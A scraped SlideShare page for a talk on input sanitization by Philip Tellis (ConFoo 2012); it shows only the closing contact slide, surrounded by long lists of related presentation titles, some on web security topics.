A talk about the current state of java enterprise development, evaluation of the available alternatives to conventional enterprise solutions, tools and languages for the JVM, and possibly beyond. JUG-Roma meeting 16 Sept 2014

jug-romaobject-oriented programmingjava
OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019

The document summarizes the OWASP Top 10 security risks and provides prevention techniques. It discusses injection, cross-site scripting (XSS), insecure deserialization, XML external entities (XXE), and other risks. For each risk, it recommends validating, sanitizing, and escaping user input, using prepared statements, and other best practices to prevent security vulnerabilities.

owaspsecurityhttps
Frontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy PersonFrontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy Person

There’s no such thing as fast enough. You can always make your website faster. This talk will show you how. The very first requirement of a great user experience is actually getting the bytes of that experience to the user before they they get tired and leave.In this talk we’ll start with the basics and get progressively insane. We’ll go over several frontend performance best practices, a few anti-patterns, the reasoning behind the rules, and how they’ve changed over the years. We’ll also look at some great tools to help you.

webperfjavascripthtml
Contact me




      Philip Tellis
      philip@lognormal.com
      @bluesmoon
      geek - paranoid - speedfreak
      co-founder Log-Normal
      http://bluesmoon.info/
      slideshare.net/bluesmoon




               ConFoo.ca / 2012-03-01   Is What You Get, What You Expect to Get?   44

More Related Content

What's hot

Xcd pg
Xcd pgXcd pg
Azure Video Analyzer OpenVino Extension Module on Raspberry Pi with Movidius
Azure Video Analyzer OpenVino Extension Module on Raspberry Pi with MovidiusAzure Video Analyzer OpenVino Extension Module on Raspberry Pi with Movidius
Azure Video Analyzer OpenVino Extension Module on Raspberry Pi with Movidius
Knowledge & Experience
 
PHP for Grown-ups
PHP for Grown-upsPHP for Grown-ups
PHP for Grown-ups
Manuel Lemos
 
Hacking Your Way To Better Security
Hacking Your Way To Better SecurityHacking Your Way To Better Security
Hacking Your Way To Better Security
Colin O'Dell
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
Balavignesh Kasinathan
 
CO2 sequestration in a different manner
CO2 sequestration in a different mannerCO2 sequestration in a different manner
CO2 sequestration in a different manner
Green Minerals B.V.
 
تفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلم
تفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلمتفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلم
تفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلم
Islamic Invitation
 
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016
Colin O'Dell
 
Man in the Middle? - No, thank you!
Man in the Middle? - No, thank you!Man in the Middle? - No, thank you!
Man in the Middle? - No, thank you!
Daniel Schneller
 
Ruby on Rails: Tasty Burgers
Ruby on Rails: Tasty BurgersRuby on Rails: Tasty Burgers
Ruby on Rails: Tasty Burgers
Aaron Patterson
 
User authentication module using php
User authentication module using phpUser authentication module using php
User authentication module using php
Rishabh Srivastava
 
Clean code
Clean codeClean code
Clean code
iamAnaCortes
 
Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And Anish
OSSCube
 
[FDD 2017] Mark Seemann - Humane code
[FDD 2017] Mark Seemann - Humane code[FDD 2017] Mark Seemann - Humane code
[FDD 2017] Mark Seemann - Humane code
Future Processing
 
civil vs common law
civil vs common lawcivil vs common law
civil vs common law
vijay chittiboyina
 
Top 10 php classic traps DPC 2020
Top 10 php classic traps DPC 2020Top 10 php classic traps DPC 2020
Top 10 php classic traps DPC 2020
Damien Seguy
 
Webit expo Standard Product
Webit expo Standard ProductWebit expo Standard Product
Webit expo Standard Product
Boji Ditcheva
 
Arabic uae e_services_user_manual
Arabic uae e_services_user_manualArabic uae e_services_user_manual
Arabic uae e_services_user_manual
Confidential
 
Dip Your Toes in the Sea of Security (PHP South Africa 2017)
Dip Your Toes in the Sea of Security (PHP South Africa 2017)Dip Your Toes in the Sea of Security (PHP South Africa 2017)
Dip Your Toes in the Sea of Security (PHP South Africa 2017)
James Titcumb
 
Comparative Genomics with GMOD and BioPerl
Comparative Genomics with GMOD and BioPerlComparative Genomics with GMOD and BioPerl
Comparative Genomics with GMOD and BioPerl
Jason Stajich
 

What's hot (20)

Xcd pg
Xcd pgXcd pg
Xcd pg
 
Azure Video Analyzer OpenVino Extension Module on Raspberry Pi with Movidius
Azure Video Analyzer OpenVino Extension Module on Raspberry Pi with MovidiusAzure Video Analyzer OpenVino Extension Module on Raspberry Pi with Movidius
Azure Video Analyzer OpenVino Extension Module on Raspberry Pi with Movidius
 
PHP for Grown-ups
PHP for Grown-upsPHP for Grown-ups
PHP for Grown-ups
 
Hacking Your Way To Better Security
Hacking Your Way To Better SecurityHacking Your Way To Better Security
Hacking Your Way To Better Security
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
 
CO2 sequestration in a different manner
CO2 sequestration in a different mannerCO2 sequestration in a different manner
CO2 sequestration in a different manner
 
تفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلم
تفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلمتفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلم
تفسير العشر الأخير من القران الكريم ويليه احكام تهم المسلم
 
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way to Better Security - PHP South Africa 2016
 
Man in the Middle? - No, thank you!
Man in the Middle? - No, thank you!Man in the Middle? - No, thank you!
Man in the Middle? - No, thank you!
 
Ruby on Rails: Tasty Burgers
Ruby on Rails: Tasty BurgersRuby on Rails: Tasty Burgers
Ruby on Rails: Tasty Burgers
 
User authentication module using php
User authentication module using phpUser authentication module using php
User authentication module using php
 
Clean code
Clean codeClean code
Clean code
 
Php Security By Mugdha And Anish
Php Security By Mugdha And AnishPhp Security By Mugdha And Anish
Php Security By Mugdha And Anish
 
[FDD 2017] Mark Seemann - Humane code
[FDD 2017] Mark Seemann - Humane code[FDD 2017] Mark Seemann - Humane code
[FDD 2017] Mark Seemann - Humane code
 
civil vs common law
civil vs common lawcivil vs common law
civil vs common law
 
Top 10 php classic traps DPC 2020
Top 10 php classic traps DPC 2020Top 10 php classic traps DPC 2020
Top 10 php classic traps DPC 2020
 
Webit expo Standard Product
Webit expo Standard ProductWebit expo Standard Product
Webit expo Standard Product
 
Arabic uae e_services_user_manual
Arabic uae e_services_user_manualArabic uae e_services_user_manual
Arabic uae e_services_user_manual
 
Dip Your Toes in the Sea of Security (PHP South Africa 2017)
Dip Your Toes in the Sea of Security (PHP South Africa 2017)Dip Your Toes in the Sea of Security (PHP South Africa 2017)
Dip Your Toes in the Sea of Security (PHP South Africa 2017)
 
Comparative Genomics with GMOD and BioPerl
Comparative Genomics with GMOD and BioPerlComparative Genomics with GMOD and BioPerl
Comparative Genomics with GMOD and BioPerl
 

Viewers also liked

Boomerang at FOSS.IN/2010
Boomerang at FOSS.IN/2010Boomerang at FOSS.IN/2010
Boomerang at FOSS.IN/2010
Philip Tellis
 
Javascript charting with YUI-Flot
Javascript charting with YUI-FlotJavascript charting with YUI-Flot
Javascript charting with YUI-Flot
Philip Tellis
 
Boomerang at the Boston Web Performance meetup
Boomerang at the Boston Web Performance meetupBoomerang at the Boston Web Performance meetup
Boomerang at the Boston Web Performance meetup
Philip Tellis
 
MySQL Business Continuity Planning
MySQL Business Continuity PlanningMySQL Business Continuity Planning
MySQL Business Continuity Planning
Philip Tellis
 
Over The Top Video
Over The Top VideoOver The Top Video
Over The Top Video
Akamai Technologies
 
Websites on overdrive
Websites on overdriveWebsites on overdrive
Websites on overdrive
Philip Tellis
 
Improving D3 Performance with CANVAS and other Hacks
Improving D3 Performance with CANVAS and other HacksImproving D3 Performance with CANVAS and other Hacks
Improving D3 Performance with CANVAS and other Hacks
Philip Tellis
 

Viewers also liked (7)

Boomerang at FOSS.IN/2010
Boomerang at FOSS.IN/2010Boomerang at FOSS.IN/2010
Boomerang at FOSS.IN/2010
 
Javascript charting with YUI-Flot
Javascript charting with YUI-FlotJavascript charting with YUI-Flot
Javascript charting with YUI-Flot
 
Boomerang at the Boston Web Performance meetup
Boomerang at the Boston Web Performance meetupBoomerang at the Boston Web Performance meetup
Boomerang at the Boston Web Performance meetup
 
MySQL Business Continuity Planning
MySQL Business Continuity PlanningMySQL Business Continuity Planning
MySQL Business Continuity Planning
 
Over The Top Video
Over The Top VideoOver The Top Video
Over The Top Video
 
Websites on overdrive
Websites on overdriveWebsites on overdrive
Websites on overdrive
 
Improving D3 Performance with CANVAS and other Hacks
Improving D3 Performance with CANVAS and other HacksImproving D3 Performance with CANVAS and other Hacks
Improving D3 Performance with CANVAS and other Hacks
 

Similar to Input sanitization

PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
Damon Cortesi
 
Big security for big data
Big security for big dataBig security for big data
Big security for big data
Ari Elias-Bachrach
 
Spot the Web Vulnerability
Spot the Web VulnerabilitySpot the Web Vulnerability
Spot the Web Vulnerability
Miroslav Stampar
 
Zend Certification PHP 5 Sample Questions
Zend Certification PHP 5 Sample QuestionsZend Certification PHP 5 Sample Questions
Zend Certification PHP 5 Sample Questions
Jagat Kothari
 
Lca05
Lca05Lca05
OWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP ProgrammersOWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP Programmers
rjsmelo
 
Dealing With Legacy PHP Applications
Dealing With Legacy PHP ApplicationsDealing With Legacy PHP Applications
Dealing With Legacy PHP Applications
Viget Labs
 
C#7, 7.1, 7.2, 7.3 e C# 8
C#7, 7.1, 7.2, 7.3 e C# 8C#7, 7.1, 7.2, 7.3 e C# 8
C#7, 7.1, 7.2, 7.3 e C# 8
Giovanni Bassi
 
Becoming a better WordPress Developer
Becoming a better WordPress DeveloperBecoming a better WordPress Developer
Becoming a better WordPress Developer
Joey Kudish
 
Ruby on Rails For Java Programmers
Ruby on Rails For Java ProgrammersRuby on Rails For Java Programmers
Ruby on Rails For Java Programmers
elliando dias
 
F2E's Creeds
F2E's CreedsF2E's Creeds
F2E's Creeds
Morgan Cheng
 
Error Management: Future vs ZIO
Error Management: Future vs ZIOError Management: Future vs ZIO
Error Management: Future vs ZIO
John De Goes
 
Interpolique
InterpoliqueInterpolique
Interpolique
Dan Kaminsky
 
HTML5 and Other Modern Browser Game Tech
HTML5 and Other Modern Browser Game TechHTML5 and Other Modern Browser Game Tech
HTML5 and Other Modern Browser Game Tech
vincent_scheib
 
From clever code to better code
From clever code to better codeFrom clever code to better code
From clever code to better code
Dror Helper
 
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come back
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come backVladimir Vorontsov - Splitting, smuggling and cache poisoning come back
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come back
DefconRussia
 
Dealing with Legacy PHP Applications
Dealing with Legacy PHP ApplicationsDealing with Legacy PHP Applications
Dealing with Legacy PHP Applications
Clinton Dreisbach
 
Interpolique
InterpoliqueInterpolique
Interpolique
Dan Kaminsky
 
Questioning the status quo
Questioning the status quoQuestioning the status quo
Questioning the status quo
Ivano Pagano
 
OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019
Ayesh Karunaratne
 

Similar to Input sanitization (20)

PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
Big security for big data
Big security for big dataBig security for big data
Big security for big data
 
Spot the Web Vulnerability
Spot the Web VulnerabilitySpot the Web Vulnerability
Spot the Web Vulnerability
 
Zend Certification PHP 5 Sample Questions
Zend Certification PHP 5 Sample QuestionsZend Certification PHP 5 Sample Questions
Zend Certification PHP 5 Sample Questions
 
Lca05
Lca05Lca05
Lca05
 
OWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP ProgrammersOWASP TOP 10 for PHP Programmers
OWASP TOP 10 for PHP Programmers
 
Dealing With Legacy PHP Applications
Dealing With Legacy PHP ApplicationsDealing With Legacy PHP Applications
Dealing With Legacy PHP Applications
 
C#7, 7.1, 7.2, 7.3 e C# 8
C#7, 7.1, 7.2, 7.3 e C# 8C#7, 7.1, 7.2, 7.3 e C# 8
C#7, 7.1, 7.2, 7.3 e C# 8
 
Becoming a better WordPress Developer
Becoming a better WordPress DeveloperBecoming a better WordPress Developer
Becoming a better WordPress Developer
 
Ruby on Rails For Java Programmers
Ruby on Rails For Java ProgrammersRuby on Rails For Java Programmers
Ruby on Rails For Java Programmers
 
F2E's Creeds
F2E's CreedsF2E's Creeds
F2E's Creeds
 
Error Management: Future vs ZIO
Error Management: Future vs ZIOError Management: Future vs ZIO
Error Management: Future vs ZIO
 
Interpolique
InterpoliqueInterpolique
Interpolique
 
HTML5 and Other Modern Browser Game Tech
HTML5 and Other Modern Browser Game TechHTML5 and Other Modern Browser Game Tech
HTML5 and Other Modern Browser Game Tech
 
From clever code to better code
From clever code to better codeFrom clever code to better code
From clever code to better code
 
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come back
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come backVladimir Vorontsov - Splitting, smuggling and cache poisoning come back
Vladimir Vorontsov - Splitting, smuggling and cache poisoning come back
 
Dealing with Legacy PHP Applications
Dealing with Legacy PHP ApplicationsDealing with Legacy PHP Applications
Dealing with Legacy PHP Applications
 
Interpolique
InterpoliqueInterpolique
Interpolique
 
Questioning the status quo
Questioning the status quoQuestioning the status quo
Questioning the status quo
 
OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019
 

More from Philip Tellis

Frontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy PersonFrontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy Person
Philip Tellis
 
Frontend Performance: De débutant à Expert à Fou Furieux
Frontend Performance: De débutant à Expert à Fou FurieuxFrontend Performance: De débutant à Expert à Fou Furieux
Frontend Performance: De débutant à Expert à Fou Furieux
Philip Tellis
 
Frontend Performance: Expert to Crazy Person
Frontend Performance: Expert to Crazy PersonFrontend Performance: Expert to Crazy Person
Frontend Performance: Expert to Crazy Person
Philip Tellis
 
Beyond Page Level Metrics
Beyond Page Level MetricsBeyond Page Level Metrics
Beyond Page Level Metrics
Philip Tellis
 
Frontend Performance: Beginner to Expert to Crazy Person (San Diego Web Perf ...
Frontend Performance: Beginner to Expert to Crazy Person (San Diego Web Perf ...Frontend Performance: Beginner to Expert to Crazy Person (San Diego Web Perf ...
Frontend Performance: Beginner to Expert to Crazy Person (San Diego Web Perf ...
Philip Tellis
 
Frontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy PersonFrontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy Person
Philip Tellis
 
Frontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy PersonFrontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy Person
Philip Tellis
 
Frontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy PersonFrontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy Person
Philip Tellis
 
mmm... beacons
mmm... beaconsmmm... beacons
mmm... beacons
Philip Tellis
 
RUM Distillation 101 -- Part I
RUM Distillation 101 -- Part IRUM Distillation 101 -- Part I
RUM Distillation 101 -- Part I
Philip Tellis
 
Improving 3rd Party Script Performance With IFrames
Improving 3rd Party Script Performance With IFramesImproving 3rd Party Script Performance With IFrames
Improving 3rd Party Script Performance With IFrames
Philip Tellis
 
Extending Boomerang
Extending BoomerangExtending Boomerang
Extending Boomerang
Philip Tellis
 
Abusing JavaScript to measure Web Performance, or, "how does boomerang work?"
Abusing JavaScript to measure Web Performance, or, "how does boomerang work?"Abusing JavaScript to measure Web Performance, or, "how does boomerang work?"
Abusing JavaScript to measure Web Performance, or, "how does boomerang work?"
Philip Tellis
 
The Statistics of Web Performance Analysis
The Statistics of Web Performance AnalysisThe Statistics of Web Performance Analysis
The Statistics of Web Performance Analysis
Philip Tellis
 
Abusing JavaScript to Measure Web Performance
Abusing JavaScript to Measure Web PerformanceAbusing JavaScript to Measure Web Performance
Abusing JavaScript to Measure Web Performance
Philip Tellis
 
Rum for Breakfast
Rum for BreakfastRum for Breakfast
Rum for Breakfast
Philip Tellis
 
Analysing network characteristics with JavaScript
Analysing network characteristics with JavaScriptAnalysing network characteristics with JavaScript
Analysing network characteristics with JavaScript
Philip Tellis
 
A Node.JS bag of goodies for analyzing Web Traffic
A Node.JS bag of goodies for analyzing Web TrafficA Node.JS bag of goodies for analyzing Web Traffic
A Node.JS bag of goodies for analyzing Web Traffic
Philip Tellis
 
Messing with JavaScript and the DOM to measure network characteristics
Messing with JavaScript and the DOM to measure network characteristicsMessing with JavaScript and the DOM to measure network characteristics
Messing with JavaScript and the DOM to measure network characteristics
Philip Tellis
 
Boomerang: How fast do users think your site is?
Boomerang: How fast do users think your site is?Boomerang: How fast do users think your site is?
Boomerang: How fast do users think your site is?
Philip Tellis
 

More from Philip Tellis (20)

Frontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy PersonFrontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy Person
 
Frontend Performance: De débutant à Expert à Fou Furieux
Frontend Performance: De débutant à Expert à Fou FurieuxFrontend Performance: De débutant à Expert à Fou Furieux
Frontend Performance: De débutant à Expert à Fou Furieux
 
Frontend Performance: Expert to Crazy Person
Frontend Performance: Expert to Crazy PersonFrontend Performance: Expert to Crazy Person
Frontend Performance: Expert to Crazy Person
 
Beyond Page Level Metrics
Beyond Page Level MetricsBeyond Page Level Metrics
Beyond Page Level Metrics
 
Frontend Performance: Beginner to Expert to Crazy Person (San Diego Web Perf ...
Frontend Performance: Beginner to Expert to Crazy Person (San Diego Web Perf ...Frontend Performance: Beginner to Expert to Crazy Person (San Diego Web Perf ...
Frontend Performance: Beginner to Expert to Crazy Person (San Diego Web Perf ...
 
Frontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy PersonFrontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy Person
 
Frontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy PersonFrontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy Person
 
Frontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy PersonFrontend Performance: Beginner to Expert to Crazy Person
Frontend Performance: Beginner to Expert to Crazy Person
 
mmm... beacons
mmm... beaconsmmm... beacons
mmm... beacons
 
RUM Distillation 101 -- Part I
RUM Distillation 101 -- Part IRUM Distillation 101 -- Part I
RUM Distillation 101 -- Part I
 
Improving 3rd Party Script Performance With IFrames
Improving 3rd Party Script Performance With IFramesImproving 3rd Party Script Performance With IFrames
Improving 3rd Party Script Performance With IFrames
 
Extending Boomerang
Extending BoomerangExtending Boomerang
Extending Boomerang
 
Abusing JavaScript to measure Web Performance, or, "how does boomerang work?"
Abusing JavaScript to measure Web Performance, or, "how does boomerang work?"Abusing JavaScript to measure Web Performance, or, "how does boomerang work?"
Abusing JavaScript to measure Web Performance, or, "how does boomerang work?"
 
The Statistics of Web Performance Analysis
The Statistics of Web Performance AnalysisThe Statistics of Web Performance Analysis
The Statistics of Web Performance Analysis
 
Abusing JavaScript to Measure Web Performance
Abusing JavaScript to Measure Web PerformanceAbusing JavaScript to Measure Web Performance
Abusing JavaScript to Measure Web Performance
 
Rum for Breakfast
Rum for BreakfastRum for Breakfast
Rum for Breakfast
 
Analysing network characteristics with JavaScript
Analysing network characteristics with JavaScriptAnalysing network characteristics with JavaScript
Analysing network characteristics with JavaScript
 
A Node.JS bag of goodies for analyzing Web Traffic
A Node.JS bag of goodies for analyzing Web TrafficA Node.JS bag of goodies for analyzing Web Traffic
A Node.JS bag of goodies for analyzing Web Traffic
 
Messing with JavaScript and the DOM to measure network characteristics
Messing with JavaScript and the DOM to measure network characteristicsMessing with JavaScript and the DOM to measure network characteristics
Messing with JavaScript and the DOM to measure network characteristics
 
Boomerang: How fast do users think your site is?
Boomerang: How fast do users think your site is?Boomerang: How fast do users think your site is?
Boomerang: How fast do users think your site is?
 

Recently uploaded

Comparison Table of DiskWarrior Alternatives.pdf
Comparison Table of DiskWarrior Alternatives.pdfComparison Table of DiskWarrior Alternatives.pdf
Comparison Table of DiskWarrior Alternatives.pdf
Andrey Yasko
 
Fluttercon 2024: Showing that you care about security - OpenSSF Scorecards fo...
Fluttercon 2024: Showing that you care about security - OpenSSF Scorecards fo...Fluttercon 2024: Showing that you care about security - OpenSSF Scorecards fo...
Fluttercon 2024: Showing that you care about security - OpenSSF Scorecards fo...
Chris Swan
 
What’s New in Teams Calling, Meetings and Devices May 2024
What’s New in Teams Calling, Meetings and Devices May 2024What’s New in Teams Calling, Meetings and Devices May 2024
What’s New in Teams Calling, Meetings and Devices May 2024
Stephanie Beckett
 
Transcript: Details of description part II: Describing images in practice - T...
Transcript: Details of description part II: Describing images in practice - T...Transcript: Details of description part II: Describing images in practice - T...
Transcript: Details of description part II: Describing images in practice - T...
BookNet Canada
 
TrustArc Webinar - 2024 Data Privacy Trends: A Mid-Year Check-In
TrustArc Webinar - 2024 Data Privacy Trends: A Mid-Year Check-InTrustArc Webinar - 2024 Data Privacy Trends: A Mid-Year Check-In
TrustArc Webinar - 2024 Data Privacy Trends: A Mid-Year Check-In
TrustArc
 
Understanding Insider Security Threats: Types, Examples, Effects, and Mitigat...
Understanding Insider Security Threats: Types, Examples, Effects, and Mitigat...Understanding Insider Security Threats: Types, Examples, Effects, and Mitigat...
Understanding Insider Security Threats: Types, Examples, Effects, and Mitigat...
Bert Blevins
 
Quantum Communications Q&A with Gemini LLM
Quantum Communications Q&A with Gemini LLMQuantum Communications Q&A with Gemini LLM
Quantum Communications Q&A with Gemini LLM
Vijayananda Mohire
 
論文紹介:A Systematic Survey of Prompt Engineering on Vision-Language Foundation ...
論文紹介:A Systematic Survey of Prompt Engineering on Vision-Language Foundation ...論文紹介:A Systematic Survey of Prompt Engineering on Vision-Language Foundation ...
論文紹介:A Systematic Survey of Prompt Engineering on Vision-Language Foundation ...
Toru Tamaki
 
Scaling Connections in PostgreSQL Postgres Bangalore(PGBLR) Meetup-2 - Mydbops
Scaling Connections in PostgreSQL Postgres Bangalore(PGBLR) Meetup-2 - MydbopsScaling Connections in PostgreSQL Postgres Bangalore(PGBLR) Meetup-2 - Mydbops
Scaling Connections in PostgreSQL Postgres Bangalore(PGBLR) Meetup-2 - Mydbops
Mydbops
 
RPA In Healthcare Benefits, Use Case, Trend And Challenges 2024.pptx
RPA In Healthcare Benefits, Use Case, Trend And Challenges 2024.pptxRPA In Healthcare Benefits, Use Case, Trend And Challenges 2024.pptx
RPA In Healthcare Benefits, Use Case, Trend And Challenges 2024.pptx
SynapseIndia
 
Observability For You and Me with OpenTelemetry
Observability For You and Me with OpenTelemetryObservability For You and Me with OpenTelemetry
Observability For You and Me with OpenTelemetry
Eric D. Schabell
 
Best Practices for Effectively Running dbt in Airflow.pdf
Best Practices for Effectively Running dbt in Airflow.pdfBest Practices for Effectively Running dbt in Airflow.pdf
Best Practices for Effectively Running dbt in Airflow.pdf
Tatiana Al-Chueyr
 
How RPA Help in the Transportation and Logistics Industry.pptx
How RPA Help in the Transportation and Logistics Industry.pptxHow RPA Help in the Transportation and Logistics Industry.pptx
How RPA Help in the Transportation and Logistics Industry.pptx
SynapseIndia
 
Implementations of Fused Deposition Modeling in real world
Implementations of Fused Deposition Modeling  in real worldImplementations of Fused Deposition Modeling  in real world
Implementations of Fused Deposition Modeling in real world
Emerging Tech
 
Calgary MuleSoft Meetup APM and IDP .pptx
Calgary MuleSoft Meetup APM and IDP .pptxCalgary MuleSoft Meetup APM and IDP .pptx
Calgary MuleSoft Meetup APM and IDP .pptx
ishalveerrandhawa1
 
Pigging Solutions Sustainability brochure.pdf
Pigging Solutions Sustainability brochure.pdfPigging Solutions Sustainability brochure.pdf
Pigging Solutions Sustainability brochure.pdf
Pigging Solutions
 
How Social Media Hackers Help You to See Your Wife's Message.pdf
How Social Media Hackers Help You to See Your Wife's Message.pdfHow Social Media Hackers Help You to See Your Wife's Message.pdf
How Social Media Hackers Help You to See Your Wife's Message.pdf
HackersList
 
Best Programming Language for Civil Engineers
Best Programming Language for Civil EngineersBest Programming Language for Civil Engineers
Best Programming Language for Civil Engineers
Awais Yaseen
 
[Talk] Moving Beyond Spaghetti Infrastructure [AOTB] 2024-07-04.pdf
[Talk] Moving Beyond Spaghetti Infrastructure [AOTB] 2024-07-04.pdf[Talk] Moving Beyond Spaghetti Infrastructure [AOTB] 2024-07-04.pdf
[Talk] Moving Beyond Spaghetti Infrastructure [AOTB] 2024-07-04.pdf
Kief Morris
 
INDIAN AIR FORCE FIGHTER PLANES LIST.pdf
INDIAN AIR FORCE FIGHTER PLANES LIST.pdfINDIAN AIR FORCE FIGHTER PLANES LIST.pdf
INDIAN AIR FORCE FIGHTER PLANES LIST.pdf
jackson110191
 

Recently uploaded (20)

Comparison Table of DiskWarrior Alternatives.pdf
Comparison Table of DiskWarrior Alternatives.pdfComparison Table of DiskWarrior Alternatives.pdf
Comparison Table of DiskWarrior Alternatives.pdf
 
Fluttercon 2024: Showing that you care about security - OpenSSF Scorecards fo...
Fluttercon 2024: Showing that you care about security - OpenSSF Scorecards fo...Fluttercon 2024: Showing that you care about security - OpenSSF Scorecards fo...
Fluttercon 2024: Showing that you care about security - OpenSSF Scorecards fo...
 
What’s New in Teams Calling, Meetings and Devices May 2024
What’s New in Teams Calling, Meetings and Devices May 2024What’s New in Teams Calling, Meetings and Devices May 2024
What’s New in Teams Calling, Meetings and Devices May 2024
 
Transcript: Details of description part II: Describing images in practice - T...
Transcript: Details of description part II: Describing images in practice - T...Transcript: Details of description part II: Describing images in practice - T...
Transcript: Details of description part II: Describing images in practice - T...
 
TrustArc Webinar - 2024 Data Privacy Trends: A Mid-Year Check-In
TrustArc Webinar - 2024 Data Privacy Trends: A Mid-Year Check-InTrustArc Webinar - 2024 Data Privacy Trends: A Mid-Year Check-In
TrustArc Webinar - 2024 Data Privacy Trends: A Mid-Year Check-In
 
Understanding Insider Security Threats: Types, Examples, Effects, and Mitigat...
Understanding Insider Security Threats: Types, Examples, Effects, and Mitigat...Understanding Insider Security Threats: Types, Examples, Effects, and Mitigat...
Understanding Insider Security Threats: Types, Examples, Effects, and Mitigat...
 
Quantum Communications Q&A with Gemini LLM
Quantum Communications Q&A with Gemini LLMQuantum Communications Q&A with Gemini LLM
Quantum Communications Q&A with Gemini LLM
 
論文紹介:A Systematic Survey of Prompt Engineering on Vision-Language Foundation ...
論文紹介:A Systematic Survey of Prompt Engineering on Vision-Language Foundation ...論文紹介:A Systematic Survey of Prompt Engineering on Vision-Language Foundation ...
論文紹介:A Systematic Survey of Prompt Engineering on Vision-Language Foundation ...
 
Scaling Connections in PostgreSQL Postgres Bangalore(PGBLR) Meetup-2 - Mydbops
Scaling Connections in PostgreSQL Postgres Bangalore(PGBLR) Meetup-2 - MydbopsScaling Connections in PostgreSQL Postgres Bangalore(PGBLR) Meetup-2 - Mydbops
Scaling Connections in PostgreSQL Postgres Bangalore(PGBLR) Meetup-2 - Mydbops
 
RPA In Healthcare Benefits, Use Case, Trend And Challenges 2024.pptx
RPA In Healthcare Benefits, Use Case, Trend And Challenges 2024.pptxRPA In Healthcare Benefits, Use Case, Trend And Challenges 2024.pptx
RPA In Healthcare Benefits, Use Case, Trend And Challenges 2024.pptx
 
Observability For You and Me with OpenTelemetry
Observability For You and Me with OpenTelemetryObservability For You and Me with OpenTelemetry
Observability For You and Me with OpenTelemetry
 
Best Practices for Effectively Running dbt in Airflow.pdf
Best Practices for Effectively Running dbt in Airflow.pdfBest Practices for Effectively Running dbt in Airflow.pdf
Best Practices for Effectively Running dbt in Airflow.pdf
 
How RPA Help in the Transportation and Logistics Industry.pptx
How RPA Help in the Transportation and Logistics Industry.pptxHow RPA Help in the Transportation and Logistics Industry.pptx
How RPA Help in the Transportation and Logistics Industry.pptx
 
Implementations of Fused Deposition Modeling in real world
Implementations of Fused Deposition Modeling  in real worldImplementations of Fused Deposition Modeling  in real world
Implementations of Fused Deposition Modeling in real world
 
Calgary MuleSoft Meetup APM and IDP .pptx
Calgary MuleSoft Meetup APM and IDP .pptxCalgary MuleSoft Meetup APM and IDP .pptx
Calgary MuleSoft Meetup APM and IDP .pptx
 
Pigging Solutions Sustainability brochure.pdf
Pigging Solutions Sustainability brochure.pdfPigging Solutions Sustainability brochure.pdf
Pigging Solutions Sustainability brochure.pdf
 
How Social Media Hackers Help You to See Your Wife's Message.pdf
How Social Media Hackers Help You to See Your Wife's Message.pdfHow Social Media Hackers Help You to See Your Wife's Message.pdf
How Social Media Hackers Help You to See Your Wife's Message.pdf
 
Best Programming Language for Civil Engineers
Best Programming Language for Civil EngineersBest Programming Language for Civil Engineers
Best Programming Language for Civil Engineers
 
[Talk] Moving Beyond Spaghetti Infrastructure [AOTB] 2024-07-04.pdf
